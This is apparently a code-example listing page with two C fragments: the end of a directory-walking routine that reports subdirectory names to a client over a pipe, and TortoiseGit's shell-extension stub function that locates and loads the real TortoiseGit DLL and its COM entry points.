                lstrcat(szNewRel, pnext->szFile);

                /* send the name of the new dir to the client */
                if (!ss_sendnewresp( hpipe, lVersion, SSRESP_DIR
                                   , 0, 0, 0, 0, szNewRel)) {
                        return(FALSE);
                }

                if (!ss_processdir(hpipe, lVersion, szNewAbs, szNewRel, bChecksum, TRUE) ) {
                        return(FALSE);
                }

                /* free up the list entry */
                pdirs = pnext->next;
                LocalUnlock(LocalHandle( (PSTR) pnext));
                LocalFree(LocalHandle( (PSTR) pnext));
                pnext = pdirs;
        }
        return(TRUE);
} /* ss_processdir */
コード例 #30
0
ファイル: TortoiseStub.cpp プロジェクト: hfeeki/TortoiseGit
static void LoadRealLibrary(void)
{
	static const char GetClassObject[] = "DllGetClassObject";
	static const char CanUnloadNow[] = "DllCanUnloadNow";

	WCHAR ModuleName[MAX_PATH] = {0};
	DWORD Len = 0;
	HINSTANCE hUseInst = hInst;

	if (hTortoiseGit)
		return;

	if (!WantRealVersion())
	{
		TRACE(_T("LoadRealLibrary() - Bypass\n"));
		hTortoiseGit = NIL;
		return;
	}
	// if HKCU\Software\TortoiseGit\DebugShell is set, load the dlls from the location of the current process
	// which is for our debug purposes an instance of usually TortoiseProc. That way we can force the load
	// of the debug dlls.
	if (DebugActive())
		hUseInst = NULL;
	Len = GetModuleFileName(hUseInst, ModuleName, _countof(ModuleName));
	if (!Len)
	{
		TRACE(_T("LoadRealLibrary() - Fail\n"));
		hTortoiseGit = NIL;
		return;
	}

	// truncate the string at the last '\' char
	while(Len > 0)
	{
		--Len;
		if (ModuleName[Len] == '\\')
		{
			ModuleName[Len] = '\0';
			break;
		}
	}
	if (Len == 0)
	{
		TRACE(_T("LoadRealLibrary() - Fail\n"));
		hTortoiseGit = NIL;
		return;
	}
#ifdef _WIN64
	lstrcat(ModuleName, _T("\\TortoiseGit.dll"));
#else
	lstrcat(ModuleName, _T("\\TortoiseGit32.dll"));
#endif
	TRACE(_T("LoadRealLibrary() - Load %s\n"), ModuleName);

	hTortoiseGit = LoadLibraryEx(ModuleName, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
	if (!hTortoiseGit)
	{
		TRACE(_T("LoadRealLibrary() - Fail\n"));
		hTortoiseGit = NIL;
		return;
	}

	TRACE(_T("LoadRealLibrary() - Success\n"));
	pDllGetClassObject = NULL;
	pDllCanUnloadNow = NULL;
	pDllGetClassObject = (LPFNGETCLASSOBJECT)GetProcAddress(hTortoiseGit, GetClassObject);
	if (pDllGetClassObject == NULL)
	{
		TRACE(_T("LoadRealLibrary() - Fail\n"));
		FreeLibrary(hTortoiseGit);
		hTortoiseGit = NIL;
		return;
	}
	pDllCanUnloadNow = (LPFNCANUNLOADNOW)GetProcAddress(hTortoiseGit, CanUnloadNow);
	if (pDllCanUnloadNow == NULL)
	{
		TRACE(_T("LoadRealLibrary() - Fail\n"));
		FreeLibrary(hTortoiseGit);
		hTortoiseGit = NIL;
		return;
	}
}